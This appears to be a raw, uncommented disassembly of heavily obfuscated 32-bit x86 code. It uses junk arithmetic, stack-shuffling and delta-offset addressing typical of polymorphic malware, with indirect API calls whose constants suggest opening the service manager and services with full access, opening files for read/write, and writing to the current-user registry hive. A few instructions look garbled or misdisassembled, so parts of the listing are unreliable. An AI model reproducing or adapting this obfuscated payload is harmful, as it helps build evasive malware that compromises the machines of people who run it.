push 0x3418
mov dword [esp], eax
push edx
push 0x4df83a9e
pop edx
xor edx, 0x7360481f
push eax
mov eax, 0xd024fd77
add edx, eax
pop eax
mov eax, edx
mov edx, dword [esp]
add esp, 4
add dword [esp + 4], 0x6ca5ac9
add dword [esp + 4], eax
sub dword [esp + 4], 0x6ca5ac9
mov eax, dword [esp]
add esp, 4
mov eax, dword [esp]
sub esp, 4
mov dword [esp], ecx
push eax
mov dword [esp], esp
add dword [esp], 4
push dword [esp]
pop ecx
add esp, 4
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
sub esp, 4
mov dword [esp], ebp
push 0xebd6ff8
pop ebp
sub eax, ebp
mov ebp, dword [esp]
add esp, 4
cmp dword [ebp + 0x1678279f], 0
jne 0xf6b2e8
cmp dword [ebp + 0x167825c3], 0
je 0xf6b2fd
push eax
mov eax, eax
mov eax, 0x7d3
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push eax
push eax
mov dword [esp], ebx
push ebp
mov ebp, 0x6b944923
mov ebx, ebp
pop ebp
xor ebx, 0x4e6e1419
push ecx
mov ecx, 0x1e4b4bc1
sub ebx, ecx
pop ecx
shr ebx, 3
and ebx, 0xf6d711b
not ebx
xor ebx, 0xd42cf094
xor dword [esp + 4], ebx
pop ebx
pop eax
push 0xcbc
mov dword [esp], esi
push ecx
mov ecx, 0x39ec75e5
add ecx, 0x34d5686b
sub ecx, 0x430b6ef0
mov esi, ecx
pop ecx
xor eax, esi
mov esi, dword [esp]
push esi
mov esi, esp
push edx
mov dword [esp], ebp
mov ebp, 0x5508288b
sub ebp, 0x623c1ac7
inc ebp
shl ebp, 7
xor ebp, 0x6606e284
add esi, ebp
mov ebp, dword [esp]
add esp, 4
push 0x519a
mov dword [esp], eax
push ecx
push 0x3f0a0cbf
pop ecx
inc ecx
xor ecx, 0xe990e05
shl ecx, 8
xor ecx, 0xf45d95e9
mov eax, ecx
pop ecx
xor eax, 0x18b9253f
sub eax, 1
xor eax, 0x7fe675d1
add esi, eax
pop eax
push esi
push dword [esp + 4]
pop esi
pop dword [esp]
mov esp, dword [esp]
cmp dword [ebp + 0x167bcebd], 0x6165726f
je 0xf6b43e
lea eax, [ebp + 0x167bcf31]
push eax
lea eax, [ebp + 0x167bd06e]
push eax
lea eax, [ebp + 0x167bd08f]
push eax
call dword [ebp + 0x16782f8f]
add esp, 0xc
mov byte [ebp + 0x16782ed1], 0x44
push 0x96a3184f
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov ebx, eax
lea eax, [ebp + 0x167bd08f]
push eax
call ebx
lea eax, [ebp + 0x167bcebd]
push eax
lea eax, [ebp + 0x167bcf31]
push eax
cmp dword [ebp + 0x16782827], 0
je 0xf6b427
lea eax, [ebp + 0x167bd057]
jmp 0xf6b42d
lea eax, [ebp + 0x167bd040]
push eax
lea eax, [ebp + 0x167bd08f]
push eax
call dword [ebp + 0x16782f8f]
add esp, 0x10
call dword [ebp + 0x1678311f]
push ebp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg dword [esp], eax
pop esp
mov dword [esp], edi
mov edi, 0x77ac13a0
mov ebp, edi
pop edi
shr ebp, 5
neg ebp
or ebp, 0x36cf7a90
xor ebp, 0x12e633e5
push ebp
sub esp, 4
mov dword [esp], ebx
pop ebp
mov ebx, dword [esp]
add esp, 4
push ebx
xchg dword [esp], eax
not eax
xchg dword [esp], eax
mov ebx, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
xchg ebp, ebx
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x3e8b6677
add ebx, 1
add ebx, 0xd54acc72
add ebp, 0x530d5aee
sub ebp, ebx
sub ebp, 0x530d5aee
mov ebx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
and eax, ebp
mov ebp, dword [esp]
add esp, 4
cmp eax, 5
jae 0xf6b170
mov dword [ebp + 0x16782897], 1
lea eax, [ebp + 0x167bcef1]
jmp 0xf6aea4
lea eax, [ebp + 0x167bcee8]
push 0x6154
mov dword [esp], ecx
mov dword [esp], edi
mov dword [esp], edx
mov dword [esp], eax
push dword [ebp + 0x167bceb5]
call dword [ebp + 0x167bcead]
test eax, eax
jne 0xf6b539
mov dword [ebp + 0x167bceb9], eax
push 0
push 0
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x167bcea5]
test eax, eax
jne 0xf6b557
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x16781a9e]
test eax, eax
jne 0xf6b56b
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 0x167826e7]
call dword [ebp + 0x167b73fb]
cmp eax, 0xffffffff
jne 0xf6a244
inc dword [ebp + 0x167bd99b]
cmp dword [ebp + 0x167bd99b], 2
je 0xf69c1d
lea eax, [ebp + 0x42a0076]
call eax
lea eax, [ebp + 0x429fb5c]
call eax
push 0x4244
mov dword [esp], eax
mov dword [esp], ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg dword [esp], esi
pop esp
mov dword [esp], eax
pop ebp
sub esp, 4
mov dword [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
mov dword [esp], ebp
push dword [esp]
mov eax, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
add esp, 4
push dword [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 0x2ae77b3d
sub ecx, 0x2ae77b39
add eax, ecx
mov ecx, dword [esp]
add esp, 4
xchg dword [esp], eax
pop esp
cmp dword [ebp + 0x1678279f], 0
jne 0xf6b644
cmp dword [ebp + 0x167825c3], 0
je 0xf6b659
push eax
mov eax, eax
mov eax, 0x7d8
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push edx
mov dword [esp], eax
push ebp
mov ebp, 0xe2c4260
xor dword [esp + 4], ebp
pop ebp
push dword [esp]
mov eax, dword [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
sub esp, 4
mov dword [esp], edx
mov edx, 0x6202f86
or edx, 0x1af34807
sub esp, 4
mov dword [esp], edx
neg dword [esp]
mov edx, dword [esp]
add esp, 4
push eax
mov eax, 0x2d1fb1e7
add edx, eax
pop eax
xor eax, edx
push dword [esp]
pop edx
push ecx
mov ecx, esp
push edi
mov edi, 0x2d1f7010
push edx
mov edx, 0x6bda61d5
neg edx
dec edx
add edx, 0x98f9d1e2
sub edi, edx
pop edx
add ecx, edi
pop edi
add ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
push 0xf003f
push 0
push 0
call dword [ebp + 0x16783001]
test eax, eax
mov dword [ebp + 0x167bceb5], eax
push 0xf01ff
cmp dword [ebp + 0x16782827], 0
je 0xf6aeda
mov eax, dword [ebp + 0x16783173]
lea eax, [ebp + 0x167bcf12]
jmp 0xf6aee0
push dword [ebp + 0x167bd99f]
call dword [ebp + 0x167b73f1]
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp + 0x167bd9a3]
push 0x494d
mov dword [esp], esi
mov dword [esp], ebp
mov dword [esp], eax
call dword [ebp + 0x167b73fb]
cmp eax, 0xffffffff
jne 0xf6b823
lea eax, [ebp + 0x167b8360]
call eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp + 0x167bd9a3]
push ebx
mov dword [esp], ebp
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
add ebp, 4
push eax
mov dword [esp], edx
mov dword [esp], ebx
mov ebx, 0xc772131
sub ebx, 0xc77212d
add ebp, 0x2bb8064e
sub ebp, ebx
sub ebp, 0x2bb8064e
push dword [esp]
mov ebx, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push eax
mov eax, esp
add eax, 4
push ecx
push edx
mov edx, 4
mov ecx, edx
mov edx, dword [esp]
add esp, 4
add eax, ecx
mov ecx, dword [esp]
add esp, 4
xchg dword [esp], eax
mov esp, dword [esp]
xchg dword [esp], ebp
pop esp
mov dword [esp], eax
call dword [ebp + 0x167b73fb]
cmp eax, 0xffffffff
jne 0xf6b823
lea esi, [ebp + 0x167bd3ab]
call dword [ebp + 0x16781b31]
push 0
call dword [ebp + 0x16781c12]
mov dword [ebp + 0x167bd99f], eax
push 0
lea eax, [ebp + 0x167bd997]
push 0x273f
mov dword [esp], esi
mov dword [esp], eax
push 4
lea eax, [ebp + 0x167831d2]
push 0x63e1
mov dword [esp], edx
mov dword [esp], ecx
mov dword [esp], eax
push 0
push 0
push 1
push dword [ebp + 0x167bd99f]
call dword [ebp + 0x167b3745]
jmp 0xf6a099
cmp dword [ebp + 0x16782827], 0
jne 0xf6b883
cmp dword [ebp + 0x16782873], 0
je 0xf6ab5d
lea eax, [ebp + 0x167bced2]
jmp 0xf6a099
cmp eax, 1
jne 0xf693c1
jmp 0xf69e83
jmp 0xf6ba11
cmp dword [ebp + 0x167828bb], 0
je 0xf6c2e5
mov ebx, 0x80000001
lea eax, [ebp + 0x167b686b]
push 0x63a0
mov dword [esp], ebx
mov dword [esp], edx
mov dword [esp], edi
mov dword [esp], eax
lea eax, [ebp + 0x167b67ba]
push 0x550f
mov dword [esp], eax
push edi
mov edi, esp
add edi, 4
push ecx
push ecx
mov dword [esp], edx
push 0x62ad463a
push dword [esp]
pop edx
add esp, 4
dec edx
xor edx, 0x680b1e1e
push ebx
mov dword [esp], edx
xor dword [esp], 0x254e619b
pop ecx
xor ecx, 0x254e619b
pop edx
sub ecx, 0x3ed670fb
neg ecx
xor ecx, 0x343018d0
sub esp, 4
mov dword [esp], esi
mov esi, 0x769d6616
add esi, 0xcd15cd36
xor esi, 0x39f45525
xor esi, 0x1ce30f6d
sub edi, esi
push dword [esp]
pop esi
push 0x170c
mov dword [esp], edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push edi
push dword [esp + 4]
pop edi
pop dword [esp]
pop esp
sub edi, ecx
add edi, 0x66a46904
pop ecx
xchg dword [esp], edi
mov esp, dword [esp]
mov dword [esp], ebx
call dword [ebp + 0x167b687b]
lea eax, [ebp + 0x167c188d]
sub esp, 4
mov dword [esp], eax
push 0x5c6e
mov dword [esp], esp
add dword [esp], 4
mov eax, dword [esp]
push esi
mov dword [esp], edx
push esp
push dword [esp]
pop edx
add esp, 4
add edx, 4
add edx, 4
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
mov esp, dword [esp]
add eax, 4
sub esp, 4
mov dword [esp], edx
push 4
mov edx, dword [esp]
add esp, 4
sub eax, 0x3917065c
sub eax, edx
add eax, 0x3917065c
pop edx
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
lea eax, [ebp + 0x167c1891]
push edi
mov edi, esp
push ebp
push esi
push 0x7d6e062b
mov esi, dword [esp]
add esp, 4
dec esi
xor esi, 0x26bd5461
mov ebp, esi
push dword [esp]
pop esi
add esp, 4
or ebp, 0x570a52a6
add ebp, 0x37132248
inc ebp
sub ebp, 0x96ee7534
add edi, 0x7bc0d72
add edi, ebp
sub edi, 0x7bc0d72
pop ebp
push edx
push ecx
mov ecx, 0x53ea6a90
and ecx, 0x457d59e6
shl ecx, 7
add ecx, 0xc0b8c1a9
mov edx, ecx
pop ecx
add edx, 0xffffffff
shr edx, 2
push edi
mov edi, 0x6bc11e10
xor edx, edi
pop edi
neg edx
push ebx
mov ebx, 0x2ff877e4
push ebp
push edx
mov edx, 0x1734792c
push edx
pop ebp
pop edx
xor ebp, 0x18334906
shr ebp, 7
dec ebp
not ebp
xor ebp, 0x78c667b7
xor ebp, 0xa5686f18
sub ebx, ebp
pop ebp
xor edx, ebx
mov ebx, dword [esp]
add esp, 4
push edi
mov edi, 0x84a1df57
xor edx, edi
pop edi
sub edi, edx
pop edx
xchg dword [esp], edi
mov esp, dword [esp]
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b67dc]
push eax
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
push esi
push edx
mov edx, 0x673547bf
xor edx, 0x5afe1b61
xor edx, 0x3dcb5cda
push eax
mov eax, edx
mov esi, eax
pop eax
pop edx
push esi
push ebx
mov ebx, 0x6d73306a
mov esi, 0xee1e0a90
add esi, ebx
pop ebx
inc esi
sub esp, 4
mov dword [esp], esi
not dword [esp]
pop esi
push edx
mov edx, 0xb9749635
xor esi, edx
pop edx
sub ecx, esi
mov esi, dword [esp]
add esp, 4
sub ecx, 0x23587664
add ecx, 0x21d10704
sub ecx, esi
sub ecx, 0x21d10704
push eax
mov eax, 0x14ac10d8
or eax, 0x37773e96
shl eax, 7
add eax, 0x23b90764
add ecx, eax
pop eax
add ecx, 0x1d1a5331
mov esi, dword [esp]
add esp, 4
push 0x5218
mov dword [esp], ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push esi
mov esi, esp
sub esp, 4
mov dword [esp], eax
push ecx
mov ecx, 0x63c4493f
push ecx
not dword [esp]
pop ecx
push ebx
mov ebx, 0x5fab4b88
push ecx
mov ecx, 0x42641e80
shr ecx, 3
xor ecx, 0x4b0a4062
add ecx, 0x3c4f5c2e
xor ecx, 0x73c742be
sub ebx, ecx
push dword [esp]
pop ecx
add esp, 4
add ebx, 0x106a5b1a
add ecx, ebx
pop ebx
push ebp
mov ebp, ecx
mov eax, ebp
mov ebp, dword [esp]
add esp, 4
pop ecx
add esi, eax
mov eax, dword [esp]
push ecx
mov ecx, esp
push edi
mov edi, 0x4af63e1e
not edi
and edi, 0x6ff84c6b
shl edi, 1
shr edi, 1
or edi, 0x5980056a
sub edi, 0x7d884567
add ecx, edi
push dword [esp]
pop edi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
add ecx, 4
xchg dword [esp], ecx
pop esp
push ebx
mov ebx, 4
add esi, 0x77e65a9f
sub esi, ebx
sub esi, 0x77e65a9f
pop ebx
xchg dword [esp], esi
pop esp
mov dword [esp], eax
lea eax, [ebp + 0x167c1895]
push 0x4aab
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b67ee]
push 0x31f7
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
sub esp, 4
mov dword [esp], edx
mov edx, esp
add edx, 4
push ebp
sub esp, 4
mov dword [esp], edx
push 0x1945
mov dword [esp], ebp
mov ebp, 0x66f11e84
sub ebp, 0x442e5ca2
dec ebp
sub ebp, 0xc861620
sub ebp, 0xffffffff
add ebp, 0xe9c35442
mov edx, ebp
pop ebp
push edx
pop ebp
pop edx
push edi
push 0x5d050e70
pop edi
sub edx, edi
pop edi
sub edx, ebp
add edx, 0x5d050e70
pop ebp
push edx
push dword [esp + 4]
push dword [esp]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], ebx
mov dword [esp], eax
lea eax, [ebp + 0x167c18a1]
sub esp, 4
mov dword [esp], edi
push eax
mov eax, esp
add eax, 4
push ebx
push ebp
mov ebp, 0x21b5690b
and ebp, 0x3e2c50e6
not ebp
cld
out dx, eax
stosb byte es:[edi], al
fcmovnu st(0), st(7)
mov ebx, ebp
pop ebp
sub eax, ebx
pop ebx
xchg dword [esp], eax
pop esp
push esp
pop dword [esp]
add dword [esp], 4
mov edi, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
push 0x5054
mov dword [esp], eax
mov eax, 4
add ebx, eax
pop eax
push ebx
push dword [esp + 4]
mov ebx, dword [esp]
add esp, 4
pop dword [esp]
pop esp
push ebp
push ecx
mov ecx, 0x3e300c47
xor ecx, 0x3e300c43
mov ebp, ecx
pop ecx
add edi, ebp
pop ebp
push ebp
mov ebp, 0x1cf95257
or ebp, 0x7f080254
shl ebp, 1
sub ebp, 0xef560d4
shl ebp, 2
and ebp, 0xedb067a
sub ebp, 0x2d10664
sub edi, ebp
pop ebp
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b683b]
push 0x700e
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push 0x42e1
mov dword [esp], edx
mov dword [esp], ebp
mov dword [esp], eax
lea eax, [ebp + 0x167c18a9]
push 0x4da8
mov dword [esp], ebx
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b6859]
push 0x3dcf
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push 0x4fe8
mov dword [esp], eax
lea eax, [ebp + 0x167c18ad]
push edx
mov edx, esp
push ebp
push 0x138
mov dword [esp], esi
mov dword [esp], ebx
mov ebx, 0x246d6890
mov ebp, 0xdb929774
add ebp, ebx
mov ebx, dword [esp]
add esp, 4
add edx, 0x3405712d
add edx, ebp
sub edx, 0x3405712d
mov ebp, dword [esp]
add esp, 4
push edx
mov dword [esp], ebp
mov ebp, 0x124d5a23
xchg ebp, edx
neg edx
push ebp
push edx
pop ebp
pop edx
inc ebp
sub ebp, 0x1c810942
xor ebp, 0xd1319c98
sub edx, ebp
push dword [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
xchg dword [esp], eax
mov esp, dword [esp]
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b685e]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], esi
mov dword [esp], ebx
mov ebx, esp
push eax
push esi
mov esi, 0x2e8b468b
shr esi, 1
dec esi
dec esi
xor esi, 0x3cbbc053
mov eax, esi
pop esi
push 0x7214
mov dword [esp], ebp
mov ebp, 0x59845d30
add ebp, 0x70764b75
sub ebp, 0xb77253c3
xor eax, ebp
pop ebp
add eax, 0xffffffff
sub eax, 0xffffffff
push 0x7dc4
mov dword [esp], ecx
push esi
mov esi, 0x95325d3
mov ecx, 0xbd36a23f
add ecx, esi
pop esi
add eax, ecx
mov ecx, dword [esp]
add esp, 4
add ebx, eax
pop eax
push esi
mov esi, 4
add ebx, 0x69d56dea
sub ebx, esi
sub ebx, 0x69d56dea
mov esi, dword [esp]
push edx
mov edx, esp
push edi
mov edi, 0x2eda40c1
neg edi
sub edi, 0x137065f2
shl edi, 4
xor edi, 0xdb5594d4
add edx, edi
pop edi
add edx, 4
xchg dword [esp], edx
pop esp
xchg dword [esp], ebx
pop esp
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
push 0x21aa
mov dword [esp], esp
add dword [esp], 4
pop dword [esp]
add dword [esp], 4
mov ecx, dword [esp]
add esp, 4
add ecx, 4
push eax
push 0x270e
mov dword [esp], esi
push ebp
mov dword [esp], edi
push 0x1dce5a0f
pop edi
push ebx
mov ebx, 0x16f75715
xor edi, ebx
pop ebx
shr edi, 2
add edi, 0x561d59e
mov esi, edi
pop edi
shr esi, 3
dec esi
not esi
and esi, 0x61362f3e
add esi, 0x7e803a9
push ecx
mov ecx, 0x606b24e2
mov eax, ecx
pop ecx
xor eax, esi
pop esi
push ebx
mov ebx, 0x66bc532f
sub ebx, 0x3e0d0cb9
sub ebx, 0x65d161c0
or ebx, 0x72d81817
add ebx, 0x33e91678
and eax, ebx
pop ebx
neg eax
dec eax
xor eax, 0xffbcfcd4
add ecx, 0x15dd4d7d
sub ecx, eax
sub ecx, 0x15dd4d7d
pop eax
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
pop esp
mov dword [esp], ebp
mov dword [esp], eax
lea eax, [ebp + 0x167c18a5]
push 0x1fb7
mov dword [esp], ebx
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b6842]
push 0x3316
mov dword [esp], ebx
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push 0x5a56
mov dword [esp], eax
lea eax, [ebp + 0x167c1899]
push 0x3c3b
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b684a]
push ebx
push esp
mov ebx, dword [esp]
add esp, 4
push edx
mov dword [esp], esi
mov esi, 0x22a01873
shl esi, 4
add esi, 0x2b2e7d8e
add esi, 0x11103291
sub esi, 0x24fbf3a0
shr esi, 8
push edx
mov edx, 0x55a97231
add edx, 0xdfbeac73
xor esi, edx
pop edx
sub esi, 0x38c57b60
push esi
mov dword [esp], ebp
mov ebp, 0x2fff4fd1
add esi, 0xa675b9
add esi, ebp
sub esi, 0xa675b9
push dword [esp]
mov ebp, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
add esp, 4
push ebp
mov ebp, 0x48af046d
add ebp, 0x7e056dbb
shl ebp, 2
neg ebp
sub ebp, 0xb8cb0804
xor esi, ebp
pop ebp
add ebx, esi
mov esi, dword [esp]
add esp, 4
sub ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
mov dword [esp], esi
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
lea eax, [ebp + 0x167c188d]
push 0x20b8
mov dword [esp], eax
lea eax, [ebp + 0x167c189d]
push 0x7e31
mov dword [esp], eax
push 0
push 0
lea eax, [ebp + 0x167b6851]
push 0x3376
mov dword [esp], eax
push dword [ebp + 0x167b686b]
call dword [ebp + 0x167830da]
push dword [ebp + 0x167b686b]
call dword [ebp + 0x16783160]
jmp 0xf6cc34
cmp dword [ebp + 0x167827c7], 0
je 0xf6cc34
cmp dword [ebp + 0x16781099], 0
jne 0xf6c3e1
mov edx, dword [ebp + 0x167831d2]
push edx
mov edx, esp
push ecx
mov ecx, 0x55db10da
xor ecx, 0x55db10de
add edx, 0xe8b3f1c
add edx, ecx
sub edx, 0xe8b3f1c
pop ecx
sub edx, 4
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], esi
push ebp
mov ebp, 0xd651cfc
sub ebp, 0x6402807
push esi
mov esi, 0x19ff754a
add esi, 0x5dea9a29
xor ebp, esi
pop esi
push esi
mov esi, 0x38e91d0b
xor esi, 0x432e024e
neg esi
shl esi, 5
or esi, 0x3eb77b4c
add esi, 0x9ba782ba
and ebp, esi
pop esi
shr ebp, 8
push edx
mov edx, 0x56bc26cb
or ebp, edx
pop edx
push edx
mov edx, 0xa903b62d
push ebx
mov ebx, 0xcb635a2
or ebx, 0x4d9d7772
shl ebx, 3
shr ebx, 6
inc ebx
shr ebx, 4
add ebx, 0x311c51a
sub ebp, ebx
pop ebx
sub ebp, 0x7b176906
add ebp, edx
add ebp, 0x7b176906
add ebp, 0x32d4409
pop edx
mov esi, ebp
push dword [esp]
pop ebp
add esp, 4
add edx, 0x3dc63dae
add edx, esi
sub edx, 0x3dc63dae
mov esi, dword [esp]
add esp, 4
jmp 0xf6c538
lea edx, [ebp + 0x16780571]
push dword [edx + 0x34]
push dword [esp]
pop edx
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
push edi
push ebx
push 0xad5
mov dword [esp], ecx
mov ecx, 0x4c07928
mov ebx, ecx
mov ecx, dword [esp]
add esp, 4
add ebx, 0x11c1180c
xor ebx, 0x31d6f39e
push ebx
pop edi
mov ebx, dword [esp]
add esp, 4
xor edi, 0x275762ae
push edi
push ebx
mov ebx, 0xd927e7a
mov edi, ebx
pop ebx
inc edi
and edi, 0x4cf15176
xor edi, 0x5aba5a52
xor edi, 0xbb26f61
add edi, 0xf7f3a542
sub ebx, edi
pop edi
sub ebx, edi
add ebx, 0x558c0a83
mov edi, dword [esp]
add esp, 4
xchg dword [esp], ebx
mov esp, dword [esp]
mov dword [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push 0x5618
mov dword [esp], esi
push edi
mov edi, 0x3c620e17
mov esi, 0xbb4c8d0a
add esi, 0x324603a
sub esi, edi
sub esi, 0x324603a
pop edi
inc esi
push ebp
mov ebp, 0x778125a8
or esi, ebp
mov ebp, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
push 0x768a
mov dword [esp], ebp
push esi
push 0x646f7ada
pop esi
push 0
sub dword [esp], esi
pop esi
push ecx
mov ecx, 0x1f2952be
shl ecx, 4
shl ecx, 8
push edi
mov edi, 0x2fc93b0d
inc edi
neg edi
push ebp
mov ebp, 0x38227f56
xor edi, ebp
pop ebp
push ebx
mov ebx, 0x57670cd7
add edi, 0x1d780db3
sub edi, ebx
sub edi, 0x1d780db3
pop ebx
sub ecx, edi
mov edi, dword [esp]
add esp, 4
sub esi, ecx
pop ecx
sub esi, 0x52d29737
mov ebp, esi
mov esi, dword [esp]
add esp, 4
xor esi, ebp
pop ebp
add edx, esi
mov esi, dword [esp]
add esp, 4
mov dword [ebp + 0x167827ff], edx
cmp dword [ebp + 0x167827ff], 0
je 0xf6cc34
mov ebx, dword [ebp + 0x167827ff]
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
pop esp
mov dword [esp], edx
push edi
push eax
push 0x789f0b50
pop eax
not eax
xor eax, 0x6c3f5241
push edi
mov edi, 0x36ee4376
or eax, edi
pop edi
add eax, 0xc9320b0
push 0x6680
mov dword [esp], eax
add dword [esp], 0x5d87262e
pop edi
push ecx
mov ecx, 0x5d87262e
sub edi, ecx
pop ecx
push dword [esp]
pop eax
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
sub edi, 0x52645456
dec edi
or edi, 0x34e32f58
sub edi, 0x4ebf5327
push esi
mov esi, 0xe6e7abe
neg esi
xor esi, 0x58bc3ce8
xor esi, 0x3d448ee
shl esi, 5
push eax
mov eax, 0x4344682b
add eax, 0x54ec3788
add eax, 0x50f522e6
sub eax, 0xa9445083
xor esi, eax
pop eax
add esi, 0xf5111de
xor edi, esi
pop esi
mov edx, edi
mov edi, dword [esp]
add esp, 4
add ebx, edx
mov edx, dword [esp]
add esp, 4
push dword [ebx]
add dword [esp], 0x9e37021
push dword [esp]
pop eax
push ecx
mov ecx, esp
push esi
mov esi, 0x35d41320
push ebx
mov ebx, 0x7950321e
push eax
mov eax, 0x209541e2
xor eax, 0x2f690bd0
add eax, 0x30a14db8
sub esp, 4
mov dword [esp], edi
mov edi, 0x2e1f39cd
or edi, 0x23376925
sub edi, 0x16d13cd7
add edi, 0x120814da
sub edi, 0xffffffff
inc edi
add edi, 0x538ef4f2
or eax, edi
pop edi
push ebp
mov dword [esp], eax
not dword [esp]
pop eax
shr eax, 1
xor eax, 0x362268fd
and eax, 0x2206075e
dec eax
and eax, 0x1f7e1a91
add eax, 1
and eax, 0x15b311cd
sub eax, 0xd234aace
add ebx, eax
mov eax, dword [esp]
add esp, 4
or ebx, 0x74762f03
neg ebx
xor ebx, 0x346a464e
and esi, ebx
pop ebx
not esi
sub esi, 0xcb3feddb
sub ecx, 0x33db118d
add ecx, esi
add ecx, 0x33db118d
mov esi, dword [esp]
add esp, 4
push esi
mov esi, 4
add ecx, esi
pop esi
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
sub eax, 0x9e37021
mov dword [ebp + 0x167c1891], eax
mov ebx, dword [ebp + 0x167827ff]
push edi
mov edi, 0x50
sub ebx, 0x6e76002f
add ebx, 0xe6024b1
sub ebx, 0x46570879
add ebx, edi
add ebx, 0x46570879
sub ebx, 0xe6024b1
push eax
mov eax, 0x41627359
push edi
mov dword [esp], esi
mov esi, 0x610631fb
xor eax, esi
push dword [esp]
pop esi
add esp, 4
sub eax, 0xb1ee4273
push edi
mov edi, 0x538b573f
dec edi
shl edi, 2
shr edi, 7
sub edi, 0xd4144314
sub ebx, edi
pop edi
push 0x4fb8
mov dword [esp], edx
mov dword [esp], ebp
mov ebp, 0x46027ddd
sub ebx, ebp
pop ebp
add ebx, 0x1e5b3946
add ebx, eax
sub ebx, 0x1e5b3946
add ebx, 0x46027ddd
push eax
mov eax, 0x2c8817a5
add ebx, 0x25ab1aab
add ebx, eax
sub ebx, 0x25ab1aab
mov eax, dword [esp]
add esp, 4
pop eax
mov edi, dword [esp]
add esp, 4
push dword [ebx]
push esi
push esp
pop esi
push edx
mov edx, 0x347e3574
xor edx, 0x34821ab6
add edx, 0xc006af3
xor edx, 0xcfc9ab1
add esi, edx
pop edx
push ebp
mov ebp, 4
sub esi, ebp
pop ebp
push esi
push dword [esp + 4]
pop esi
pop dword [esp]
pop esp
mov dword [esp], esi
mov esi, 0x27347dea
push ecx
mov ecx, 0xcd878c1
sub dword [esp + 8], ecx
pop ecx
add dword [esp + 4], esi
push 0x795d
mov dword [esp], edx
push ebp
mov ebp, 0xcd878c1
mov edx, ebp
pop ebp
add dword [esp + 8], edx
pop edx
